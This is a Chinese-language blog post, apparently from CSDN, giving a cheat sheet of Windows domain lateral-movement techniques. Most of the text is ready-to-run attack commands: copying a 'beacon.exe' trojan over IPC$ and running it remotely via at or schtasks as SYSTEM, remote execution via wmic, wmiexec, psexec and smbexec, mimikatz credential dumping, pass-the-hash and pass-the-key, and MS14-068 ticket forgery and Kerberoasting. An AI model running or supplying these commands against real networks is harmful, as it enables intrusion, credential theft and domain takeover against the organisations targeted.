内网横向方法总结

目录

1.IPC横向

1.1 执行IPC

1.2 定时任务与IPC

1.2.1 at 

1.2.2 schtasks 

2.WMI横向

2.1 wmic

 2.2 cscript

2.3 wmiexec

3. SMB横向

3.1 psexec

3.2 smbexec

4. PTH

5. PTK

6. PTT(MS14-068)

8. 域委派


1.IPC横向

IPC(Internet Process Connection)共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,使用139、445端口

利用条件
1、目标机开启了139和445端口;
2、目标主机管理员开启了ipc$默认共享;
3、知道目标机的账户密码;

1.1 执行IPC

net use \\server\ipc$  "password" /user:username                 #工作组
net use \\server\ipc$  "password" /user:domain\username          #域内
dir \\xx.xx.xx.xx\C$\                                            #查看文件列表
copy \\xx.xx.xx.xx\C$\xx.bat xx.bat                              #下载文件
copy 1.bat \\xx.xx.xx.xx\C$                                      #复制文件
net use \\xx.xx.xx.xx\C$\xx.bat /del                             #删除IPC
net view xx.xx.xx.xx                                             #查看对方共享
net use                                                          #查看连接是否建立

建立IPC常见的错误代码:

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、有防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码

建立 IPC 失败的原因:

(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误

1.2 定时任务与IPC

1.2.1 at

条件<Windows2012

执行木马上线

net use \\192.168.3.21\ipc$ "password" /user:god.org\administrator
copy beacon.exe \\191.168.3.21\c$        #将木马复制到需执行的主机上
at \\191.168.3.21 20:47 c:\beacon.exe  #执行木马

1.2.2 schtasks

条件>=Windows2012

执行木马上线

net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator #建立ipc连接
copy beacon.exe \\192.168.3.32\c$                                    #复制文件到其C盘

#创建muma任务对应执行文件
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn muma/sc DAILY /tr c:\beacon.exe /F 

schtasks /run /s 192.168.3.32 /tn muma/i                             #运行muma任务
schtasks /delete /s 192.168.3.32 /tn muma/f                          #删除muma任务

2.WMI横向

WMI全称“windows管理规范”,从win2003开始一直存在。它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中,我们可以使用WMI进行横向移动。

利用条件
1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码。

2.1 wmic

wmic /node:191.168.3.31 /user:xxxx /password:xxxxx  process call create "cmd.exe /c ipconfig>d:\result.txt"

无需上传第三方软件,利用系统内置程序,单命令执行,执行后无结果回显

 2.2 cscript

cscript //nologo wmiexec.vbs /shell 191.168.3.21 <username> <password>

cscript为系统自带命令,只需上传wmiexec.vbs然后进入该服务器内进行执行

2.3 wmiexec

wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes:518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "dir"
wmiexec -hashes:ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "dir"

3. SMB横向

利用SMB服务可以通过明文或hash传递来远程执行

利用条件
1、445端口开放
2、知道账号密码

3.1 psexec

微软官方工具(不支持hashes传递)
PsExec64.exe \\192.168.3.31 -u <username> -p <password> -s cmd

impacket工具包中的psexec进行hashe连接(非官方,二次开发)
psexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 


net use \\192.168.3.31\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.31 -s cmd                        # 需要先有ipc链接 -s以System权限运行
注:psexec进行明文连接,要先进行IPC连接

3.2 smbexec

smbexec god/administrator:Admin12345@192.168.3.21     #域用户连接
smbexec ./administrator:admin!@#45@192.168.3.32       #本地账号连接

#hashes连接
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32   #本地用户
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 #域用户

4. PTH

PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。对于 8.1/2012r2,安装补丁 KB2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 PTK 攻击

利用条件:

1、在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是Administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非Administrator)也不能使用哈希传递攻击,会提示拒绝访问。

2、在域环境中:
只能是域管理员组内用户(可以是域管理员组内非Administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1

mimikatz  privilege::debug           #先用mimikatz进行提权
mimikatz  sekurlsa::logonPasswords   # 获取用户的NTLM值(若是获取aes则使用sekurlsa:ekeys)

域环境:
mimikatz sekurlsa::pth /user:administrator /domain:god.org /ntlm:8a963371a63944419ec1adf687bb1be5 

工作组环境下:
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c

 注:若用 net use \\192.168.3.21\c$连接不成功,则可以用计算机名进行连接 net use \\OWA2010CN-GOD\c$

5. PTK

即Pass The Key ,当系统安装了KB2871997补丁且禁用了NTLM的时候,那我们抓取到的ntlm hash.也就失去了作用,但是可以通过pass the key的攻击方式获得权限。

总结:KB2871997 补丁后的影响:
PTH:打补丁前任意用户都可以连接,打了补丁后只能 administrator 用户才可以连接
PTK:打补丁前不能连接,打补丁后才能任意用户都可以连接(采用 aes256 连接)
参考:https://www.freebuf.com/column/220740.html

6. PTT(MS14-068)

利用条件:
1.域控没有打MS14-068的补丁(KB3011780)
2.拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和SID

利用方式①:

1.先清空当前机器的票据信息
mimikatz kerberos::list     #列出当前票据
mimikatz kerberos::purge    #清除票据
whoami /user                 #然后查看本机的sid

 

2.ms14-068生成TGT票据 
MS14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u dbadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1130 -d 192.168.3.21 -p Admin12345

3.将票据注入到内存中
mimikatz  kerberos::ptc 票据文件
mimikatz "kerberos::ptc TGT_dbadmin@god.org.ccache" exit

 4.成功读取域控主机C盘目录下文件(注:若用IP访问则会提示拒绝访问)

 利用方式②:利用kekeo工具进行ms14-068横向(略)

7. kerberoast攻击

 Kerberoast攻击,就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。
之所以出现这种情况,是因为服务票的散列(NTLM)进行加密,所以任何域用户都可以从服务转储散列,而无需将shell引入运行该服务的系统中。

攻击者通常会选择那些可能设置了弱密,码破解成功率较高的票据来尝试破解。一旦攻击者成功破解出了票据,他们有时不仅仅获取的只是服务访问权限,如果服务被配置为在高权限下运行,那么整个域都将可能被攻击者拿下 。

Kerberoast攻击涉及以下五个步骤:

服务主体名称(SPN)发现
请求服务票据
导出服务票据
破解服务票据
重写服务票据注入
注:一般只会破解服务账号明文,因为重写很难成功。
服务主体名称(SPN)发现
setspn -q */*

 2.请求服务票据

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN服务名"  

或者用mimikatz请求服务
mimikatz.exe "kerberos::ask /target:SPN服务名"

导出服务票据
mimikatz.exe "kerberos::list /export"

破解服务票据
python tgsrepcrack.py passwd.txt xxxx.kirbi

8. 域委派

 具体参考:
 https://mp.weixin.qq.com/s/gZ5jVnc6IWZ1jZSB4fp1sw

  • 5
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值